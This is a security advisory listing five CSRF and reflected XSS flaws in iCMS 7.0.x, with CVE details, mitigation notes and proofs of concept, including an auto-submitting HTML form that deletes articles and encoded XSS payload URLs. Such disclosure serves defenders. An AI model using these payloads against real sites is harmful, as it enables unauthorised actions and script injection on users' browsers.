Multiple vulnerabilities in iCMS

1) Cross-site request forgery

EUVDB-ID: #VU21258

Risk: Medium

CVSSv4.0: 2 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/U:Green]

CVE-ID: CVE-2019-16677

CWE-ID: CWE-352 - Cross-Site Request Forgery (CSRF)

Exploit availability: No

Description

The vulnerability allows a remote attacker to perform cross-site request forgery attacks.

The vulnerability exists due to insufficient validation of the HTTP request origin in admincp.php?app=members&do=del, when empty CSRF token is passed. A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website, such as delete all application users.

Example:

http://[host]/admincp.php?app=members&do=del&id=1&frame=iPHP&CSRF_TOKEN=

Mitigation

Install update from vendor's website.

Vulnerable software versions

iCMS: 7.0.0 - 7.0.15

CPE2.3

External links

https://github.com/idreamsoft/iCMS/issues/76
https://github.com/idreamsoft/iCMS/commit/c7cab1ed4533187c6164807b3ed3228572d5609f

Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.

2) Cross-site request forgery

EUVDB-ID: #VU21270

Risk: Low

CVSSv4.0: 5.5 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:U/U:Clear]

CVE-ID: CVE-2019-8902

CWE-ID: CWE-352 - Cross-Site Request Forgery (CSRF)

Exploit availability: No

Description

The vulnerability allows a remote attacker to perform cross-site request forgery attacks.

The vulnerability exists due to insufficient validation of the HTTP request origin. A remote authenticated attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website, such as delete users' articles via the "public/api.php?app=user" URI.

PoC:

<html>
<body>
	<script type="text/javascript">

		var x = document.cookie;
		alert(x);

		function post(url,fields)
	{
		var p = document.createElement("form");
		p.action = url;
		p.innerHTML = fields;
		p.target = "_self";
		p.method = "post";
		document.body.appendChild(p);
		p.submit();
	}
		function csrf_hack()
	{
		var fields;
		fields += "<input type='hidden' name='id' value='1'>";
		fields += "<input type='hidden' name='act' value='trash'>";
		fields += "<input type='hidden' name='pg' value='article'>";
		fields += "<input type='hidden' name='action' value='manage'>";
		var url = "http://localhost/iCMS-7.0/public/api.php?app=user";
		post(url,fields);
	}
		window.onload = function() { csrf_hack();}
	</script>
</body>
</html>

Mitigation

Cybersecurity Help is currently unaware of any official solution to address this vulnerability.

Vulnerable software versions

iCMS: 7.0.0 - 7.0.15

CPE2.3

External links

https://github.com/idreamsoft/iCMS/issues/56

Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote authenticated user via the Internet.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability.

3) Reflected cross-site scripting

EUVDB-ID: #VU21269

Risk: Low

CVSSv4.0: 2 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P/U:Clear]

CVE-ID: CVE-2019-11427

CWE-ID: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Exploit availability: No

Description

The vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data passed via the "public/api.php?app=search" q parameter to the "app/search/search.app.php" file. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

PoC:

http://[host]/public/api.php?app=search&q=admin%27l0cub%2522autofocus%0aonfocus%01%253dconfirm(1)%20%253d%2522b%2522alzbk

Mitigation

Install updates from vendor's website.

Vulnerable software versions

iCMS: 7.0.0 - 7.0.15

CPE2.3

External links

https://github.com/idreamsoft/iCMS/issues/64
https://github.com/idreamsoft/iCMS/commit/387b37ccf35afcb14d478d644011c8ecd101c3a4

Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.

4) Reflected cross-site scripting

EUVDB-ID: #VU21268

Risk: Low

CVSSv4.0: 2 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P/U:Clear]

CVE-ID: CVE-2019-11426

CWE-ID: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Exploit availability: No

Description

The vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data passed via the "admincp.php?app=config" tab parameter to the "app/admincp/template/admincp.header.php" file. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

PoC:

http://[host]/admincp.php?app=config&tab=cachezpl4%3C/script%3E%3Ciframe+src=data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ%2b%3E=1+laaaa

Mitigation

Install updates from vendor's website.

Vulnerable software versions

iCMS: 7.0.0 - 7.0.15

CPE2.3

External links

https://github.com/idreamsoft/iCMS/issues/64
https://github.com/idreamsoft/iCMS/commit/387b37ccf35afcb14d478d644011c8ecd101c3a4

Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.

5) Reflected cross-site scripting

EUVDB-ID: #VU21267

Risk: Low

CVSSv4.0: 2 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P/U:Clear]

CVE-ID: CVE-2019-14976

CWE-ID: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Exploit availability: No

Description

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data passed via the "keywords" parameter to the "admincp.php?app=apps". A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

PoC:

http://[host]/admincp.php?app=apps&perpage=50&keywords=XSS

Mitigation

Install update from vendor's website.

Vulnerable software versions

iCMS: 7.0.0 - 7.0.15

CPE2.3

External links

https://github.com/idreamsoft/iCMS/issues/71
https://github.com/idreamsoft/iCMS/commit/387b37ccf35afcb14d478d644011c8ecd101c3a4

Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.

Risk	Medium
Patch available	NO
Number of vulnerabilities	5
CVE-ID	CVE-2019-16677 CVE-2019-8902 CVE-2019-11427 CVE-2019-11426 CVE-2019-14976
CWE-ID	CWE-352 CWE-79
Exploitation vector	Network
Public exploit	Public exploit code for vulnerability #1 is available. Public exploit code for vulnerability #3 is available. Public exploit code for vulnerability #4 is available. Public exploit code for vulnerability #5 is available.
Vulnerable software	iCMS Web applications / CMS
Vendor	iCMS